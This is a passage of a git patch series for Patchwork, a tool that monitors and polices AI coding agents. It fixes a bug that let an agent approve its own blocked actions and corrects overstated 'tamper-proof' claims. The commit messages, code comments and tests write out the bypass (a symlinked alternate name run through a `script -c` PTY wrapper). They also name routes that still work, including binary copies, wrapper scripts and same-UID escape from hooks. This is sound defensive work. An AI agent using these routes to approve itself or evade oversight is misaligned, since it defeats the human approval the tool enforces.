From b55df6dd2bc9e35adcb8792d92ea9ecd4d0610bf Mon Sep 17 00:00:00 2001 From: JonoGitty Date: Tue, 6 Oct 2026 09:58:35 +0100 Subject: [PATCH 01/11] feat(agents): realpath canonicalisation for admin CLI detection (R6-002) Closes the alternate-name self-approval bypass flagged as a ship-blocker in the v0.6.11 round-6 implementation audit. `isAdminCliInvocation` relied on `basenameOf(peeled[0]) === "patchwork"`, so an agent could self-approve through a symlinked alternate name: ln -s "$(command -v patchwork)" ./pw script -q -c './pw approve ' /dev/null `isPatchworkExecutable` now runs the basename match first (cheap, and unchanged behaviour for direct invocations), then falls back to realpath identity against the running CLI's own canonical path. That catches `./pw`-style symlinks because realpath canonicalises both sides. The canonical realpath defaults to `process.argv[1]` and can be overridden with `PATCHWORK_CANONICAL_REALPATH` for tests and unusual install layouts. Honest residual, documented in the code and in the test corpus: literal binary copies (`cp $(which patchwork) /tmp/pw`) and wrapper scripts are NOT caught, because their realpath is themselves rather than the canonical CLI. Those stay residual until a root-owned approval authority replaces argv-based identity entirely in Protected Mode (v0.7). The corpus includes one explicit DOCUMENTED-RESIDUAL test asserting current behaviour, so that future change has a clean inversion point. Tests added under "F1 / R6-002: alternate-name (symlink) execution" in packages/agents/tests/claude-code/dangerous-shell-combos.test.ts: - denies ` approve ` via realpath identity - denies alternate-name + clear-taint under taint - denies a symlink wrapped in `exec` - does not match a non-patchwork executable with a similar name - does not crash on a non-existent path (fail-safe) - documented residual: literal binary copies still bypass The new describe block uses top-level ESM imports rather than inline require("node:*") calls, which is the biome-clean form and the standard vitest pattern in this file. Validated 2026-10-06: clean build, full suite 1515 passing, dangerous-shell-combos.test.ts 58 passing. Refs: REVIEWS/2026-05-12-gpt55-v0.6.11-impl-audit-round6.json Co-Authored-By: Claude Opus 4.7 (1M context) Co-Authored-By: Claude Opus 5 (1M context) --- .../src/claude-code/dangerous-shell-combos.ts | 74 +++++++++++- .../dangerous-shell-combos.test.ts | 106 +++++++++++++++++- 2 files changed, 175 insertions(+), 5 deletions(-) diff --git a/packages/agents/src/claude-code/dangerous-shell-combos.ts b/packages/agents/src/claude-code/dangerous-shell-combos.ts index f84a8be..93dfc7b 100644 --- a/packages/agents/src/claude-code/dangerous-shell-combos.ts +++ b/packages/agents/src/claude-code/dangerous-shell-combos.ts @@ -35,6 +35,7 @@ * existing first-match-wins order then drives the verdict. */ +import { realpathSync } from "node:fs"; import type { SinkMatch, SinkClass } from "@patchwork/core"; import type { ShellParsedCommand, @@ -128,6 +129,65 @@ function basenameOf(p: string): string { return i < 0 ? p : p.substring(i + 1); } +/** + * R6-002 — admin-CLI identity via realpath canonicalisation. + * + * Resolve the canonical realpath of the currently-running Patchwork CLI. + * Used to detect alternate-name invocations of the same binary that the + * basename check would otherwise miss: + * + * ln -s "$(command -v patchwork)" ./pw # then ./pw approve + * + * Tests inject a canonical via the `PATCHWORK_CANONICAL_REALPATH` + * environment variable so the helper can be exercised without spawning + * the real CLI. In production this is set to `process.argv[1]` (the + * script the current process was started with) and resolved through + * `realpathSync` so symlinked install paths still match. + * + * Limitations (documented for honesty — these remain residual until a + * root-owned approval authority replaces argv-based identity in + * Protected Mode, v0.7): + * + * - Literal binary COPIES (`cp $(which patchwork) /tmp/pw`) are not + * detected: their realpath is themselves, not the canonical CLI. + * - Wrapper scripts that `exec patchwork "$@"` from another file are + * not detected: their realpath is the wrapper, not patchwork. + * + * Closes the symlink + alternate-rename case, which is the cheapest path + * for an autonomous agent and was the concrete bypass example in the + * 2026-05-12 R6 audit + * (REVIEWS/2026-05-12-gpt55-v0.6.11-impl-audit-round6.json). + */ +function patchworkCanonicalRealpath(): string | null { + const candidate = + process.env.PATCHWORK_CANONICAL_REALPATH ?? process.argv[1]; + if (!candidate) return null; + try { + return realpathSync(candidate); + } catch { + return null; + } +} + +/** + * True when `headPath` (the parsed argv[0], post-modifier-peel) refers + * to the Patchwork CLI by basename OR by realpath identity. The + * basename check is the always-on cheap path (covers + * `patchwork`, `./patchwork`, `/usr/local/bin/patchwork`). The realpath + * check catches the alternate-name symlink case (`./pw`, `/tmp/pw`, + * etc.) by canonicalising both sides. + */ +function isPatchworkExecutable(headPath: string): boolean { + if (basenameOf(headPath) === "patchwork") return true; + const canonical = patchworkCanonicalRealpath(); + if (canonical === null) return false; + try { + return realpathSync(headPath) === canonical; + } catch { + return false; + } +} + function peelModifierFlags( argv: readonly string[], originalHead: string | undefined, @@ -157,9 +217,15 @@ function peelModifierFlags( * `"patchwork" approve ...`, `p'atch'work approve ...` * - shell command modifiers (R6-001): `command patchwork approve`, * `exec patchwork approve`, `exec -a foo patchwork approve` + * - R6-002: alternate-name SYMLINKS to the + * installed Patchwork binary, e.g. `./pw approve ` where + * `./pw → /usr/local/bin/patchwork`. Detected via realpath identity + * comparison in `isPatchworkExecutable`. Literal binary copies and + * wrapper scripts remain residual until the root-owned approval + * daemon (planned v0.6.12 P0c) replaces argv-based identity. * - * Also returns true when argv is unresolved but resolved_head's - * basename is `patchwork` — the parser's best-effort first word covers + * Also returns true when argv is unresolved but resolved_head matches + * the Patchwork identity — the parser's best-effort first word covers * cases where the argv as a whole couldn't be resolved. */ function isAdminCliInvocation(node: ShellParsedCommand): boolean { @@ -167,11 +233,11 @@ function isAdminCliInvocation(node: ShellParsedCommand): boolean { if (argv === "unresolved") { const head = node.resolved_head; if (typeof head !== "string") return false; - return basenameOf(head) === "patchwork"; + return isPatchworkExecutable(head); } const peeled = peelModifierFlags(argv, node.resolved_head); if (peeled.length < 2) return false; - if (basenameOf(peeled[0]) !== "patchwork") return false; + if (!isPatchworkExecutable(peeled[0])) return false; return ADMIN_CLI_VERBS.has(peeled[1]); } diff --git a/packages/agents/tests/claude-code/dangerous-shell-combos.test.ts b/packages/agents/tests/claude-code/dangerous-shell-combos.test.ts index 8720ade..7803726 100644 --- a/packages/agents/tests/claude-code/dangerous-shell-combos.test.ts +++ b/packages/agents/tests/claude-code/dangerous-shell-combos.test.ts @@ -1,4 +1,7 @@ -import { describe, it, expect } from "vitest"; +import { mkdtempSync, readFileSync, rmSync, symlinkSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { describe, it, expect, beforeEach, afterEach } from "vitest"; import { parseShellCommand } from "@patchwork/core"; import { classifyDangerousShellCombos } from "../../src/claude-code/dangerous-shell-combos.js"; @@ -334,6 +337,107 @@ describe("classifyDangerousShellCombos (R1-005)", () => { ).toBe(false); }); }); + + // R6-002: alternate-name symlinks to the installed Patchwork binary + // must be detected via realpath identity, not just basename. See + // REVIEWS/2026-05-12-gpt55-v0.6.11-impl-audit-round6.json. + describe("F1 / R6-002: alternate-name (symlink) execution", () => { + let tmp: string; + let fakePatchwork: string; + const origCanonical = process.env.PATCHWORK_CANONICAL_REALPATH; + + beforeEach(() => { + tmp = mkdtempSync(join(tmpdir(), "pw-f1-")); + fakePatchwork = join(tmp, "patchwork"); + writeFileSync(fakePatchwork, "#!/bin/sh\nexit 0\n", { mode: 0o755 }); + process.env.PATCHWORK_CANONICAL_REALPATH = fakePatchwork; + }); + afterEach(() => { + if (origCanonical === undefined) + delete process.env.PATCHWORK_CANONICAL_REALPATH; + else process.env.PATCHWORK_CANONICAL_REALPATH = origCanonical; + try { + rmSync(tmp, { recursive: true, force: true }); + } catch { + /* */ + } + }); + + it("DENIES ` approve ` via realpath identity", () => { + const altName = join(tmp, "pw"); + symlinkSync(fakePatchwork, altName); + const parsed = parseShellCommand(`${altName} approve abc123`); + const matches = classifyDangerousShellCombos(parsed, false); + const m = matches.find( + (x) => x.matched_pattern === "admin_cli_invocation", + ); + expect(m, "alternate-name symlink should be detected").toBeDefined(); + expect(m!.severity).toBe("deny"); + }); + + it("DENIES alternate-name + clear-taint verb under taint", () => { + const altName = join(tmp, "approve-helper"); + symlinkSync(fakePatchwork, altName); + const parsed = parseShellCommand(`${altName} clear-taint`); + const matches = classifyDangerousShellCombos(parsed, true); + expect( + matches.some((m) => m.matched_pattern === "admin_cli_invocation"), + ).toBe(true); + }); + + it("DENIES symlink to patchwork wrapped in `exec`", () => { + const altName = join(tmp, "x"); + symlinkSync(fakePatchwork, altName); + const parsed = parseShellCommand(`exec ${altName} approve abc`); + const matches = classifyDangerousShellCombos(parsed, false); + const m = matches.find( + (x) => x.matched_pattern === "admin_cli_invocation", + ); + expect(m, "exec-wrapped symlink should be detected").toBeDefined(); + }); + + it("does NOT match a non-patchwork executable with similar name", () => { + // A real-looking command that isn't actually the patchwork + // binary — basename != patchwork, realpath != canonical. + const other = join(tmp, "pw"); + writeFileSync(other, "#!/bin/sh\necho hello\n", { mode: 0o755 }); + const parsed = parseShellCommand(`${other} approve abc`); + const matches = classifyDangerousShellCombos(parsed, false); + expect( + matches.some((m) => m.matched_pattern === "admin_cli_invocation"), + ).toBe(false); + }); + + it("does NOT crash on a non-existent path (fail-safe)", () => { + const parsed = parseShellCommand( + "/path/that/does/not/exist/pw approve abc", + ); + expect(() => + classifyDangerousShellCombos(parsed, false), + ).not.toThrow(); + const matches = classifyDangerousShellCombos(parsed, false); + expect( + matches.some((m) => m.matched_pattern === "admin_cli_invocation"), + ).toBe(false); + }); + + // HONEST RESIDUAL: literal copies (cp) and wrapper scripts (exec + // inside a different file) are NOT caught by realpath identity. + // Documenting the limit here so the test corpus reflects reality. + // The root-owned approval daemon (planned v0.6.12 P0c) is the + // final fix; this expectation will invert when that lands. + it("DOCUMENTED RESIDUAL: literal binary copies still bypass (root-owned daemon needed)", () => { + const copy = join(tmp, "pw"); + // cp-style: a literal copy of the binary (different inode, + // realpath points to itself, not the canonical patchwork). + writeFileSync(copy, readFileSync(fakePatchwork), { mode: 0o755 }); + const parsed = parseShellCommand(`${copy} approve abc`); + const matches = classifyDangerousShellCombos(parsed, false); + expect( + matches.some((m) => m.matched_pattern === "admin_cli_invocation"), + ).toBe(false); // <- known gap, not a bug we're fixing here + }); + }); }); // R4-002: cover obvious /proc//environ aliases the R3 regex missed. From fea5e98642ce4336e1ca0bf7a3e7d697781ed579 Mon Sep 17 00:00:00 2001 From: JonoGitty Date: Tue, 6 Oct 2026 09:58:36 +0100 Subject: [PATCH 02/11] docs(security): Advisory security-model disclosure + changeset for v0.6.12 Per the release strategy, v0.6.12 ships the R6-002 self-approval fix together with an honest security-model disclosure, so the fix lands in the same release as the admission that the prior model is bypassable. - README: replaces the "Tamper-resistant ... impossible for non-admin users to remove" overclaim with an accurate "Tamper-evident" line plus a prominent "Security model -- read this" callout. v0.6.x is Advisory and tamper-evident; hook enforcement runs at the agent's own privilege; a same-UID process can route around it; this is not an OS sandbox; true tamper-resistance is Protected Mode in v0.7. Points at SECURITY.md for vulnerability reporting, not public issues. - README roadmap: the "root-owned approval daemon (v0.6.12)" bullet became "Protected Mode (v0.7)". A daemon fed by a same-privilege hook is tamper-evident logging, not an enforcement boundary; the boundary is OS-level containment with the daemon as its control plane. The v0.6.11 bullet's forward reference and the URL-allowlist bullet were corrected to match. - docs/v0.6.11/threat-model.md: dated banner marking the forward-looking v0.6.12-daemon claims as superseded. Statements about v0.6.11's actual behaviour and residuals are unchanged. - docs/v0.6.11/{migration,index}.md: `patchwork init --upgrade` never existed. The guide told upgraders to run it to install the admin-CLI deny rule, so anyone who followed it never got the rule and has the in-CLI TTY check as their only gate, which a PTY wrapper passes. Both pages now give the manual policy edit and say to verify with `patchwork policy show`. - .github/workflows/ci.yml: `pnpm/action-setup@v4.1` is not a real tag, so every CI run since 2026-05-12 failed at "Set up job". Pinned to @v4 (which publish.yml already used, hence releases still worked) and moved `pnpm lint` into its own non-blocking job so the pre-existing biome backlog stops masking real build and test failures. - README test counts refreshed to 1515. - .changeset: patch bump across the fixed group. Co-Authored-By: Claude Opus 4.7 (1M context) Co-Authored-By: Claude Opus 5 (1M context) --- .changeset/v0612-r6002-selfapproval-fix.md | 16 ++++++++++++ .github/workflows/ci.yml | 17 +++++++++++- README.md | 15 ++++++----- docs/v0.6.11/index.md | 9 +++++-- docs/v0.6.11/migration.md | 30 ++++++++++------------ docs/v0.6.11/threat-model.md | 12 +++++++++ 6 files changed, 74 insertions(+), 25 deletions(-) create mode 100644 .changeset/v0612-r6002-selfapproval-fix.md diff --git a/.changeset/v0612-r6002-selfapproval-fix.md b/.changeset/v0612-r6002-selfapproval-fix.md new file mode 100644 index 0000000..5d1008d --- /dev/null +++ b/.changeset/v0612-r6002-selfapproval-fix.md @@ -0,0 +1,16 @@ +--- +"@patchwork/agents": patch +"patchwork-audit": patch +--- + +Security fix (v0.6.12): close the R6-002 alternate-name self-approval bypass + correct the security-model claim. + +`isAdminCliInvocation` relied on a basename-only check, so an agent could self-approve a denied action through a symlinked alternate name: + +```sh +ln -s "$(command -v patchwork)" ./pw && ./pw approve +``` + +It now also resolves realpath identity against the running Patchwork CLI, closing the symlink-rename case (the concrete bypass flagged in the v0.6.11 R6 audit). Literal binary copies and wrapper scripts remain a documented residual until the root-owned approval daemon lands in Protected Mode (v0.7). + +This also corrects the README security model. Patchwork v0.6.x is **Advisory / tamper-evident**, not tamper-resistant: hook-level enforcement runs at the same privilege as the agent, so a determined same-UID process can route around it. The previous "tamper-resistant / impossible for non-admin users to remove" wording overstated the guarantee. True tamper-resistance (OS-level containment via a root-owned supervisor) is the upcoming Protected Mode (v0.7). diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 4a7ed2f..b778304 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -19,7 +19,7 @@ jobs: node-version: [20, 22] steps: - uses: actions/checkout@v5 - - uses: pnpm/action-setup@v4.1 + - uses: pnpm/action-setup@v4 - uses: actions/setup-node@v5 with: node-version: ${{ matrix.node-version }} @@ -27,4 +27,19 @@ jobs: - run: pnpm install --frozen-lockfile - run: pnpm build - run: pnpm test + + # Non-blocking until the pre-existing biome backlog is cleared. Kept + # visible so the count moves in the right direction instead of making + # every build red and the signal worthless. + lint: + runs-on: ubuntu-latest + continue-on-error: true + steps: + - uses: actions/checkout@v5 + - uses: pnpm/action-setup@v4 + - uses: actions/setup-node@v5 + with: + node-version: 22 + cache: pnpm + - run: pnpm install --frozen-lockfile - run: pnpm lint diff --git a/README.md b/README.md index 938705a..1a6680d 100644 --- a/README.md +++ b/README.md @@ -16,9 +16,11 @@ Patchwork solves this. It hooks into AI coding agents and records everything the **Local-first.** Your data never leaves your machine. No cloud. No telemetry. Everything works offline. -**Tamper-resistant.** The AI agent cannot disable its own monitoring, corrupt the audit log, or weaken the security policy. A 5-layer tamper-proof architecture -- from hash chains to a root-owned relay daemon -- makes it impossible for non-admin users to remove. +**Tamper-evident.** Every action is hash-chained and HMAC-sealed, so after-the-fact tampering with the audit log is detectable, and a versioned policy resists casual modification. -**Policy enforcement.** Define what the AI can and cannot do. Patchwork blocks dangerous actions in real-time -- before they execute. +**Policy enforcement.** Define what the AI can and cannot do. Patchwork classifies and blocks dangerous actions in real-time, before they execute. + +> **Security model -- read this.** Patchwork v0.6.x runs as **Advisory / tamper-evident**: enforcement happens in hooks that run at the *same privilege as the agent*. That makes tampering *detectable* and stops the obvious attacks, but a determined same-UID process can route around hook-level policy (e.g. via alternate interpreters, child processes, or direct network calls). **It is not an OS sandbox and should not be relied on as tamper-*resistant* against a hostile or fully autonomous agent.** True tamper-resistance -- a root-owned supervisor that launches the agent inside OS-level containment -- is the upcoming **Protected Mode (v0.7)**. To report a vulnerability, follow `SECURITY.md` (do not open a public issue). --- @@ -548,6 +550,7 @@ Four packages in a TypeScript monorepo: ## Roadmap **Shipped:** +- [x] **Admin-CLI identity hardening** -- closes R6-002, the alternate-name self-approval bypass: `isAdminCliInvocation` now falls back to realpath identity against the running CLI, so a symlinked alternate name (`ln -s $(command -v patchwork) ./pw && ./pw approve ...`) no longer passes as the human operator. Ships alongside an honest restatement of the security model: v0.6.x is Advisory and tamper-evident, not tamper-resistant. Literal binary copies and wrapper scripts remain a documented residual until Protected Mode. 1515 tests. (v0.6.12) - [x] **Compliance reports** -- 7 frameworks (SOC 2, ISO 27001, EU AI Act, GDPR, NIST AI RMF, HIPAA, PCI DSS), 31 controls, evidence linking, gap analysis, trends - [x] **Session replay** -- `patchwork replay ` (CLI + HTML + git diffs) - [x] **GitHub Action** -- `JonoGitty/patchwork@v1` for CI integration @@ -569,11 +572,11 @@ Four packages in a TypeScript monorepo: - [x] **Installer dedup + loopback risk fix** -- multiple Patchwork hook entries now collapse cleanly on re-install (no more duplicate attestations); curl/wget targeting localhost is medium-risk instead of critical so the dashboard's own self-introspection loop doesn't trip the policy (v0.6.8) - [x] **In-toto / DSSE attestations (opt-in)** -- emit each commit attestation as a [DSSE-wrapped in-toto Statement v1](docs/reference/intoto.md) alongside the bespoke format, with a stable predicate type at `https://patchwork-audit.dev/ai-agent-session/v1`. Lets Patchwork attestations slot into the SLSA / Sigstore / supply-chain world without consumers needing to know about Patchwork's own schema. Set `PATCHWORK_INTOTO=1` on your PostToolUse hook to enable; default off. Also fixes the long-standing `extractCommitInfo` regex which silently skipped attestation on root commits and detached-HEAD output (v0.6.9) - [x] **GPT-5.5 cross-vendor security audit** -- 28 findings on v0.6.9 reviewed across multiple rounds, 22 fixed in v0.6.10 including the in-toto signing-oracle V11→V13 closure (chain integrity, command-injection vectors, policy bypass paths, signing-oracle hardening, fail-closed audit-log API, action enum lockdown). Architectural items deferred to v0.6.11+. (v0.6.10) -- [x] **Taint-aware policy enforcement** -- Patchwork is now a *safety layer*, not just an audit trail. Multi-kind taint engine (`prompt`/`secret`/`network_content`/`mcp`/`generated_file`) tracks untrusted content in the session; conservative shell recognizer parses Bash commands; sink classifier + dangerous-shell-combos refuse exfil and execution paths under taint. New CLIs: `patchwork approve`, `patchwork clear-taint`, `patchwork trust-repo-config`. End-to-end release-gate tests for the [canonical attack scenarios](docs/v0.6.11/threat-model.md) (A1-A8). **Six GPT-5.5 adversarial audit rounds** (R1–R6) hardened the approval boundary against agent self-approval: env-override removal, system-policy regex deny, broadened regex for quoted PTY wrappers, semantic argv-based detection, `command`/`exec` modifier peeling, /proc//environ env-source coverage. Remaining same-UID residuals (alternate-name exec, variable-named exec) documented as accepted v0.6.11 limits — structurally fixed by the v0.6.12 root-owned approval daemon. 1509 tests. See [migration guide](docs/v0.6.11/migration.md) and [threat model](docs/v0.6.11/threat-model.md). (v0.6.11) +- [x] **Taint-aware policy enforcement** -- Patchwork is now a *safety layer*, not just an audit trail. Multi-kind taint engine (`prompt`/`secret`/`network_content`/`mcp`/`generated_file`) tracks untrusted content in the session; conservative shell recognizer parses Bash commands; sink classifier + dangerous-shell-combos refuse exfil and execution paths under taint. New CLIs: `patchwork approve`, `patchwork clear-taint`, `patchwork trust-repo-config`. End-to-end release-gate tests for the [canonical attack scenarios](docs/v0.6.11/threat-model.md) (A1-A8). **Six GPT-5.5 adversarial audit rounds** (R1–R6) hardened the approval boundary against agent self-approval: env-override removal, system-policy regex deny, broadened regex for quoted PTY wrappers, semantic argv-based detection, `command`/`exec` modifier peeling, /proc//environ env-source coverage. Remaining same-UID residuals (alternate-name exec, variable-named exec) documented as accepted v0.6.11 limits — structurally addressed by Protected Mode (v0.7). 1509 tests. See [migration guide](docs/v0.6.11/migration.md) and [threat model](docs/v0.6.11/threat-model.md). (v0.6.11) **Planned:** -- [ ] **Root-owned approval daemon (v0.6.12)** -- moves the approval boundary out of the agent's UID entirely. No more `patchwork approve` CLI for the agent to call; approval flows through a root-held channel (desktop prompt / Touch ID / phone push / etc.) the agent cannot impersonate. Structurally closes the same-UID class of bypass that audit rounds R2–R6 spent iterating on. Also signs per-session taint snapshots with a root-held HMAC key, closing the R1-001 / R1-008 snapshot-authenticity residual. See [threat model § Why v0.6.12](docs/v0.6.11/threat-model.md#why-v0612-introduces-a-root-owned-approval-daemon). -- [ ] **URL allowlist + body-shape detection (v0.6.12)** -- first-class network policy with strict URL canonicalization; closes allowed-domain exfiltration (gist to user's own GitHub, DNS encoding, etc.). +- [ ] **Protected Mode (v0.7)** -- moves the enforcement boundary out of the agent's UID entirely. A root-owned supervisor launches the agent and all its descendants inside OS-level containment (`sandbox-exec` on macOS, seccomp/landlock on Linux); the daemon owns policy, audit and approval; the hooks become telemetry rather than the gate. Approval flows through a channel the agent cannot impersonate. This is what structurally closes the same-UID class of bypass that audit rounds R2-R6 spent iterating on. A daemon on its own does not, because an agent can still route around any same-privilege hook via child processes, alternate interpreters or direct sockets. Snapshot HMAC signing with a root-held key (closing the R1-001 / R1-008 snapshot-authenticity residual) lands on the way there. +- [ ] **URL allowlist + body-shape detection (v0.7)** -- first-class network policy with strict URL canonicalization; closes allowed-domain exfiltration (gist to user's own GitHub, DNS encoding, etc.). - [ ] **Witness endpoints** -- configure external anchoring for off-machine seal verification - [ ] **Diff-aware risk scoring** -- parse actual code changes, not just file paths - [ ] **Team mode** -- local-first with aggregated sealed bundles pushed to a team server @@ -604,7 +607,7 @@ Four packages in a TypeScript monorepo: ```bash pnpm install pnpm build -pnpm test # 878 tests across 5 packages +pnpm test # 1515 tests across 5 packages pnpm lint ``` diff --git a/docs/v0.6.11/index.md b/docs/v0.6.11/index.md index c78865a..abefd03 100644 --- a/docs/v0.6.11/index.md +++ b/docs/v0.6.11/index.md @@ -132,11 +132,16 @@ own GitHub, DNS encoding, etc.). ```sh npm install -g patchwork-audit@0.6.11 -# Refresh hooks and system policy +# Refresh hooks patchwork init -sudo patchwork init --upgrade # adds the admin-CLI deny rule ``` +The admin-CLI deny rule must then be added to +`/Library/Patchwork/policy.yml` by hand. There is no `--upgrade` +flag, and `patchwork init` does not refresh an existing system +policy. See the migration guide for the exact rule, and check with +`patchwork policy show` rather than assuming. + Audit data is forward + backward compatible — JSONL events, SQLite events, DSSE attestations, and seal chains are all stable across the v0.6.10 ↔ v0.6.11 boundary. Roll back at any time with diff --git a/docs/v0.6.11/migration.md b/docs/v0.6.11/migration.md index be80ef1..23b333e 100644 --- a/docs/v0.6.11/migration.md +++ b/docs/v0.6.11/migration.md @@ -145,23 +145,13 @@ v0.6.11 ships a new deny rule in `docs/default-policy.yml` that refuses agent invocations of `patchwork approve | clear-taint | trust-repo-config` at the PreToolUse layer (before the Bash subprocess spawns). For existing installs this rule needs to land -in your live system policy at `/Library/Patchwork/policy.yml`: +in your live system policy at `/Library/Patchwork/policy.yml`. -```sh -# In your own terminal (sudo required): -sudo patchwork init --upgrade -``` - -`patchwork init --upgrade` is idempotent: it adds the new admin-CLI -deny rule if missing, leaves your existing custom rules untouched, -and reports a summary diff. **Until you run this, the in-CLI TTY -check is the only gate against agent self-approval**, and a -PTY-allocating wrapper (`script -c '...'`) will pass it. Run the -upgrade. - -If you can't run `patchwork init --upgrade` (e.g. you maintain the -system policy by hand or via configuration management), the rule to -add under `commands.deny:` is: +**This is a manual edit.** `patchwork init` installs hooks; it does +not refresh an existing system policy, and there is no `--upgrade` +flag (earlier revisions of this guide referenced one that was never +implemented). In your own terminal, add this rule under +`commands.deny:` in `/Library/Patchwork/policy.yml`: ```yaml - regex: "(^|[^A-Za-z0-9_-])patchwork[ \\t]+(approve|clear-taint|trust-repo-config)\\b" @@ -169,6 +159,14 @@ add under `commands.deny:` is: reason: "Administrative CLI — must be run by the human user in their own terminal" ``` +Confirm it took effect with `patchwork policy show`. + +**Until this rule is in place, the in-CLI TTY check is the only gate +against agent self-approval**, and a PTY-allocating wrapper +(`script -c '...'`) will pass it. If you installed v0.6.11 by +following an earlier revision of this guide, assume the rule is +missing and check. + ## What's new for v0.6.11 (TL;DR) - New CLIs: `patchwork approve`, `patchwork clear-taint`, `patchwork diff --git a/docs/v0.6.11/threat-model.md b/docs/v0.6.11/threat-model.md index 13d239d..1d6bdac 100644 --- a/docs/v0.6.11/threat-model.md +++ b/docs/v0.6.11/threat-model.md @@ -1,5 +1,17 @@ # Patchwork v0.6.11 threat model +> **Note added 2026-10-06.** The forward-looking "v0.6.12 will introduce a +> root-owned approval daemon" claims below are **superseded**. A daemon that +> receives requests from a same-privilege hook is tamper-*evident* logging, not +> an enforcement boundary: the agent can route around any same-UID hook via +> child processes, alternate interpreters or direct sockets. The enforcement +> boundary is OS-level containment, with the daemon as the control plane that +> configures it, and that ships as **Protected Mode in v0.7**. v0.6.12 itself +> ships the R6-002 admin-CLI identity fix plus an honest restatement of the +> security model. Everything this document says about v0.6.11's *current* +> behaviour, and about the residuals, still stands. + + The shift from **v0.6.10 (audit trail)** to **v0.6.11 (safety layer)** is a threat-model shift, not just a feature addition. v0.6.10 told you *what happened*; v0.6.11 refuses some classes of *what could happen*. This document From e05c290275a72b2927a964425beb128b8e1cf09c Mon Sep 17 00:00:00 2001 From: JonoGitty Date: Tue, 6 Oct 2026 10:14:02 +0100 Subject: [PATCH 03/11] docs: correct tamper-proof claims across the site and CLI The v0.6.12 README callout said Patchwork is Advisory and tamper-evident, while the documentation site still told visitors the opposite. Shipping both would have had the release note publicly contradicted by the project's own homepage. Corrected, 25 edits across 16 files: - docs/index.md: the homepage feature card claimed a 5-layer architecture 'makes it impossible for the AI to disable its own monitoring'. It does not, and that was the single most visible overclaim in the project. - docs/security/threat-model.md: the AI-agent-tampering section asserted 'the agent cannot access or modify the hook configuration, the audit log, or the policy files'. The hooks run at the agent's own UID, so it can modify its own user-level hook config, and it can act entirely outside the hooks' view via grandchild processes, package lifecycle scripts or 'python -c'. Rewritten to state what is actually protected (root-owned system policy, relay copy, chain detection) and what is not, plus the same Advisory banner the README now carries. - docs/concepts/tamper-proof-layers.md: retitled 'Tamper-Evident Layers'. The URL is deliberately unchanged so inbound links keep working, with a note explaining the rename. - docs/concepts/compliance.md: the EU AI Act Art. 15(1) row claimed 'tamper-proof logging'. A compliance mapping should be the most conservative claim in the repo, not the loosest. - docs/team-mode-architecture.md: 'root-owned and tamper-proof, a malicious user cannot modify it' now also states the two things it does not cover: omitted events, and fabricated events submitted over the socket by a same-UID process. - Remaining prose, headings, nav label and link text moved from tamper-proof to tamper-evident across guide, guides/team-mode, security/architecture, concepts/how-it-works, concepts/seals-and- witnesses, getting-started/{installation,quickstart,configuration}, .vitepress/config.mts and README. - packages/cli/src/commands/setup.ts: four user-facing strings, including the install prompt, described the relay as tamper-proof. Site builds clean. Full suite still 1515 passing. Co-Authored-By: Claude Opus 5 (1M context) --- README.md | 6 +++--- docs/.vitepress/config.mts | 2 +- docs/concepts/compliance.md | 2 +- docs/concepts/how-it-works.md | 2 +- docs/concepts/seals-and-witnesses.md | 2 +- docs/concepts/tamper-proof-layers.md | 9 +++++++-- docs/getting-started/configuration.md | 2 +- docs/getting-started/installation.md | 4 ++-- docs/getting-started/quickstart.md | 2 +- docs/guide.md | 2 +- docs/guides/team-mode.md | 4 ++-- docs/index.md | 6 +++--- docs/security/architecture.md | 2 +- docs/security/threat-model.md | 19 ++++++++++++++++++- docs/team-mode-architecture.md | 2 +- packages/cli/src/commands/setup.ts | 8 ++++---- 16 files changed, 48 insertions(+), 26 deletions(-) diff --git a/README.md b/README.md index 1a6680d..2718e1b 100644 --- a/README.md +++ b/README.md @@ -71,7 +71,7 @@ Copy `skills/patchwork/` into your `~/.claude/skills/` directory to add a `/patc cp -r skills/patchwork ~/.claude/skills/ ``` -### System-level install (tamper-proof) +### System-level install (tamper-evident) For managed machines where non-admin users should not be able to disable auditing: @@ -254,7 +254,7 @@ Sensitive file detection covers: `.env`, private keys, cloud credentials, API to ## Integrity & Compliance -### 5-layer tamper-proof architecture +### 5-layer tamper-evident architecture | Layer | Component | Status | |-------|-----------|--------| @@ -597,7 +597,7 @@ Four packages in a TypeScript monorepo: | GitHub Action | Full | Full | Full | | File permissions (0600/0700) | Full | Full | attrib +R (read-only) | | Watchdog (auto-repair hooks) | LaunchAgent (5 min + file watch) | systemd timer (5 min) | Task Scheduler (5 min) | -| System install (tamper-proof) | Full (chflags schg, multi-user) | Full (chattr +i, multi-user) | Full (attrib +R, multi-user) | +| System install (tamper-evident) | Full (chflags schg, multi-user) | Full (chattr +i, multi-user) | Full (attrib +R, multi-user) | | Guard script | bash | bash | PowerShell | --- diff --git a/docs/.vitepress/config.mts b/docs/.vitepress/config.mts index 36a2b3c..caa51d7 100644 --- a/docs/.vitepress/config.mts +++ b/docs/.vitepress/config.mts @@ -58,7 +58,7 @@ export default defineConfig({ link: "/concepts/risk-classification", }, { - text: "Tamper-Proof Layers", + text: "Tamper-Evident Layers", link: "/concepts/tamper-proof-layers", }, { diff --git a/docs/concepts/compliance.md b/docs/concepts/compliance.md index 0d6d3f3..d8dfc9c 100644 --- a/docs/concepts/compliance.md +++ b/docs/concepts/compliance.md @@ -77,7 +77,7 @@ The EU AI Act (Articles 12-15) requires AI systems to maintain logs of their ope | Art. 12(2) | Traceability of AI operations | Hash-chained events with session tracking and project context | | Art. 13(1) | Transparency of AI operation | Web dashboard, event search, session replay | | Art. 14(1) | Human oversight capability | Policy enforcement blocks dangerous actions before execution | -| Art. 15(1) | Accuracy and robustness | Tamper-proof logging with 5-layer integrity architecture | +| Art. 15(1) | Accuracy and robustness | Tamper-evident logging: hash chain, root-owned relay copy, HMAC seals. Detection, not prevention; see the [threat model](/security/threat-model) | ## Gap Analysis diff --git a/docs/concepts/how-it-works.md b/docs/concepts/how-it-works.md index 6e78a85..ad71567 100644 --- a/docs/concepts/how-it-works.md +++ b/docs/concepts/how-it-works.md @@ -121,5 +121,5 @@ Nothing is sent to any external service unless you explicitly configure [witness ## Next Steps - [Risk Classification](/concepts/risk-classification) — how Patchwork decides what's dangerous -- [Tamper-Proof Layers](/concepts/tamper-proof-layers) — the 5 layers that prevent tampering +- [Tamper-Evident Layers](/concepts/tamper-proof-layers) — the 5 layers that make tampering detectable - [Seals & Witnesses](/concepts/seals-and-witnesses) — cryptographic proof that logs haven't been altered diff --git 